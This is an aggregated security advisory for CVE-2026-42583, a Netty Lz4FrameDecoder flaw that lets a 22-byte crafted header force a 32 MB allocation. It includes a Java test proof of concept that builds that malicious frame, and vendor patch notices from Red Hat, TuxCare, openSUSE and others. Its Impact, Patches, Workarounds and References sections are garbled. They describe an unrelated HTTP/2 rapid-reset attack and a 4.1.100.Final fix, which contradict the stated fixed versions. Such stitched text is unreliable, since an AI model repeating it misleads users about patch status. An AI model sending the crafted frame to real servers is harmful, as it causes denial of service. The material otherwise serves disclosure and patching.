CVE-2026-42583

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2025-58057, CVE-2026-42583, and CVE-2026-59901.

CVE-2025-58057: Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack

CVE-2026-42583: Netty: Lz4FrameDecoder resource exhaustion

CVE-2026-59901: Netty Bzip2Decoder: Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang

This patched artifact is a drop-in replacement for io.netty:netty-codec 4.1.100.Final from Maven Central.

Root has patched CVE-2026-42583 in the io.netty:netty-codec package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

TuxCare rebuilt 7 io.netty packages to address 11 CVEs. Fixed in 4.1.130.Final-tuxcare.1.

TuxCare rebuilt 5 io.netty packages to address 8 CVEs. Fixed in 4.1.117.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 13 CVEs. Fixed in 4.1.115.Final-tuxcare.7.

TuxCare rebuilt 9 io.netty packages to address 14 CVEs. Fixed in 4.1.112.Final-tuxcare.5.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt 12 io.netty packages to address 19 CVEs. Fixed in 4.1.75.Final-tuxcare.5.

TuxCare rebuilt 11 io.netty packages to address 20 CVEs. Fixed in 4.1.73.Final-tuxcare.5.

TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.99.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.96.Final-tuxcare.1.

TuxCare rebuilt 8 io.netty packages to address 17 CVEs. Fixed in 4.1.128.Final-tuxcare.1.

TuxCare rebuilt 15 io.netty packages to address 27 CVEs. Fixed in 4.1.72.Final-tuxcare.1.

TuxCare rebuilt 43 io.netty packages to address 25 CVEs. Fixed in 4.1.68.Final-tuxcare.1.

TuxCare rebuilt 14 io.netty packages to address 26 CVEs. Fixed in 4.1.118.Final-tuxcare.1.

TuxCare rebuilt 13 io.netty packages to address 24 CVEs. Fixed in 4.1.114.Final-tuxcare.1.

TuxCare rebuilt 14 io.netty packages to address 17 CVEs. Fixed in 4.2.12.Final-tuxcare.1.

TuxCare rebuilt 6 io.netty packages to address 6 CVEs. Fixed in 4.1.76.Final-tuxcare.1.

TuxCare rebuilt 14 io.netty packages to address 16 CVEs. Fixed in 4.2.2.Final-tuxcare.1.

TuxCare rebuilt 13 io.netty packages to address 24 CVEs. Fixed in 4.1.74.Final-tuxcare.1.

TuxCare rebuilt 9 io.netty packages to address 13 CVEs. Fixed in 4.1.113.Final-tuxcare.2.

TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.87.Final-tuxcare.4.

TuxCare rebuilt 14 io.netty packages to address 32 CVEs. Fixed in 4.1.64.Final-tuxcare.1.

These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues

• CVE-2026-41417: missing validations leads to HTTP request smuggling and RTSP request injection via start-line injection in DefaultHttpRequest.setUri() (bsc#1264350).
• CVE-2026-42578: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty (bsc#1265243).
• CVE-2026-42579: DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding (bsc#1265272).
• CVE-2026-42580: chunk size parser silently overflows int and enables request smuggling attacks (bsc#1265273).
• CVE-2026-42581: TE+CL header coexistence in HTTP/1.0 requests bypasses smuggling sanitization (bsc#1265277).
• CVE-2026-42583: resource exhaustion and possible denial of service via Lz4FrameDecoder (bsc#1265279).
• CVE-2026-42584: improper handling of inbound responses in HttpClientCodec can lead to response desynchronization (bsc#1265280).
• CVE-2026-42585: Netty is an asynchronous, event-driven network application framework (bsc#1265292).
• CVE-2026-42586: CRLF Injection in Netty Redis Codec Encoder (bsc#1265245).
• CVE-2026-42587: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS (bsc#1265246).
• CVE-2026-44248: Netty is an asynchronous, event-driven network application framework (bsc#1265294).
• CVE-2026-42582: HTTP/3 QPACK literal unbounded allocation (bsc#1265318).

Changes for netty:

• Upgrade to upstream version 4.1.133